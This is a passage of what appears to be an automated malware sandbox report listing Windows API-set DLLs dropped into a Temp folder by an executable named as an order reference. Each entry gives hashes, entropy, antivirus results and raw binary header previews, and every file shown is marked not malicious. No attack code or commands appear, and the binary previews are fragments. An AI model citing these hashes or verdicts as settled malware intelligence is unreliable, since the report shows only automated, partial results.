.......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\182F14A9\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
